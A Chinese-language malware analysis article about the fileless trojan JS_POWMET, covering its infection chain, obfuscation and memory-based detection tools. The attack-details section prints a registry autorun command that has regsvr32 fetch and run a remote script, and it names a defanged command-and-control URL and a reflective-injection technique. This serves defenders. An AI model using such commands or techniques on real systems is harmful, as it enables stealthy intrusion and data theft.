由于高明的网络犯罪分子会在不留下痕迹的情况下进行攻击,因此不留痕迹的恶意软件将成为未来最常见的攻击方法,而且这种苗头已经开始显现了。比如,今年6月,安全研究人员就发现了一个新的无文件勒索病毒, 被称为“Sorebrect”,它将恶意代码注入到目标系统的合法进程svchost.exe中, 然后自毁以躲避检测。
然而,许多所谓的无文件恶意攻击只是在进入用户系统时才是无文件的,而在最终执行其有效载荷时还是会暴露自己,所以要想使用完全的无文件恶意软件攻击是很难办到的。不过,随着黑客技术的不断提高,趋势科技的研究人员最近还是发现了这么一个完全无文件的恶意攻击木马,并将其命名为JS_POWMET(由趋势科技检测为JS_POWMET.DE)。JS_POWMET通过自动启动注册表程序开始攻击,然后通过使用完全无文件的感染链完成整个攻击过程,该过程及其隐蔽连专门进行安全分析的软件工程师都难以察觉到。
趋势科技云安全智能防护网络(TrendMicro Smart Protection Network,SPN)的监测数据显示,亚太地区是目前被JS_POWMET影响最多的地方,占了整个感染总量的近90%。
攻击细节
以下是JS_POWMET的整个感染过程:
虽然确切的感染方式目前仍然不确定,但根据推测,JS_POWMET很可能是在用户访问恶意网站时下载的,或者是伪装成其他软件被下载的。不过有一点是清楚地,下载的注册表已经在下载时被更改了。
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll”
通过自动启动注册表项(如上图所示)下载JS_POWMET。
以下是“regsvr32”使用的参数说明:
/ s: regsvr32的静默选项
/ n:告诉regsvr32不要使用DllRegisterServer
/ u :取消注册服务器/对象
/ i :用于将可选参数(即URL)传递给DLLinstall
scrobj.dll:Microsoft的脚本组件正在运行
通过这种方法,可以将一个URL作为参数赋予了regsvr32,这将使得regsvr32能够获取URL上找到的文件(XML与恶意JavaScript)。由于这个例程,regsvr32将能够执行任意脚本,而不会在受害者的设备或系统上保存XML文件。特别是,当被攻击的设备启动时,它将自动从其Command&Control(C&C)服务器下载恶意文件。
一旦JS_POWMET被执行,它将下载另一个称为TROJ_PSINJECT的文件(由趋势科技检测为TROJ_PSINJECT.A)。该文件是在Powershell的过程下运行的Powershell脚本。 TROJ_PSINJECT将连接到以下网站:
hxxps://bogerando[.]ru/favicon
这允许TROJ_PSINJECT下载一个名为favicon的普通文件,然后,使用ReflectivePELoader将该favicon文件解密并注入其进程,该ReflectivePELoader用于注入EXE / DLL文件。
要消除恶意软件代码,可以通过使用以下技术实现。首先,恶意软件包含Base64字符串,它将使用RC4密钥(硬编码到恶意软件代码)进行解码和解密。生成的解密字符串将是GZIP压缩的字符串,该字符串由恶意软件本身使用GZIP解压缩例程进行解压缩。这将导致ReflectivePELoader函数的代码被用于加载解密的下载文件。
Favicon也将使用上述RC4密钥进行解密,导致称为BKDR_ANDROM(趋势科技检测为BKDR_ANDROM.ETIN)的恶意DLL文件的发生,这部分过程也是无文件的。该文件将不会保存到受害者的设备中,而是注入到powershell.exe进程中。所有这些例程将由使用PowerShell命令的恶意软件执行。下图就是显示导致混淆过程的TROJ_PSINJECT代码:
如果在系统中运行该文件,BKDR_ANDROM将会终止powershell.exe。另外还会收集以下数据:
硬盘序列号 操作系统版本 本地IP地址 管理员权限
恶意软件会将注册表项添加到系统中,以确保它始终在启动过程中被执行。自动启动注册表项能够解码Base64编码的PowerShell命令,该命令会被用于解密,产生BKDR_ANDROM的恶意代码的加密二进制数据(在恶意软件添加的注册表中也能找到)。在解密过程之后,它将执行解密的恶意代码。虽然这种情况下的最终有效载荷由BKDR_ANDROM的常规程序组成,但是未来的恶意软件开发者可能会将其他恶意软件用作有效载荷。
如何检测无文件恶意软件?
无痕迹攻击已经成了未来攻击者的主打方向,其中最常见的方法是使用被盗的凭据,这样就可以伪装成公司的员工或者是用户来进行攻击,即使时候被发现,也怀疑不到攻击者头上,因为那些攻击行为全是员工或者是用户“自己”干的。攻击者现在可以利用内置的管理工具,如Powershell和PSExec,这些管理工具是每台Windows设备的标准配置。
这个攻击策略有很多种叫法,比如:
1.Process Hollowing,Process Hollowing是现代恶意软件常用的一种进程创建技术,虽然在使用任务管理器之类的工具查看时,这些进程看起来是合法的,但是该进程的代码实际上已被恶意内容所替代。
2.劫持进程
3.远程代码执行
这种隐形的攻击对于窃取高价值的目标最有效,这与通过远程访问木马(RAT)对低价值,不受监控的资产进行内部网络访问是完全不同的。
在进行完前期的运行环境侦察后,攻击者可能会使用漏洞利用工具包来获取高价值资产。一旦找到攻击目标,他们可以将命令和控制有效载荷(如Meterpreter)注入合法的运行过程,例如Service Host-svchost.exe。然后,攻击者可以访问可获利的文件,继续进行数据的过滤。这种攻击的唯一痕迹存在于随机存取存储器(RAM)中,大多数杀毒和基于签名的检测方法都不能检测到它们。事实上,如果目标重新启动的话,所有的攻击痕迹就都不复存在了。攻击者可以随时将预先布置的任务留在系统上,或通过不受监控的目标先重新进入网络,并逐渐传播至关键目标。
识别无文件类型的攻击行为是所有安全检测工具的未来发展方向,本文我就举一个rapid7开发的insightIDR检测工具的例子,该团队将CounterTack公司研发的Digital DNA (DDNA) 技术整合到他们的安全产品中,该产品能对所需的内存进行逐一分析。这使分析师能够更深入地研究客户端点上的不同层次,并识别具有意想不到的功能的进程。
使用Process Memory Analyzer,每个运行的进程都被可能被作为可疑功能被分析。如果进程执行可疑行为(如注册代码)或通过校验和查找导入的函数,都会被标记,并可以添加到InsightIDR中的调查时间表。在上图中,你会注意到,该功能将进程按风险排列,因此很容易挑出可能是Process Hollowing的异常进程。
总结
虽然JS_POWMET及其下载的其他文件在影响方面相对不是很严重,但是这种恶意软件的出现已经表明,网络犯罪分子将会尽一切可能避免被检测和分析。它还表明,即使不常见的无病毒恶意软件的感染方法也在不断发展。
缓解无病毒恶意软件影响的最有效的方法之一是通过基于容器的系统来限制对关键基础设施的访问,这些系统将端点与网络的最重要部分分开。对于这种特定的恶意软件,IT专业人员还可以查看禁用Powershell本身来帮助减轻JS_POWMET及其各种有效载荷的影响。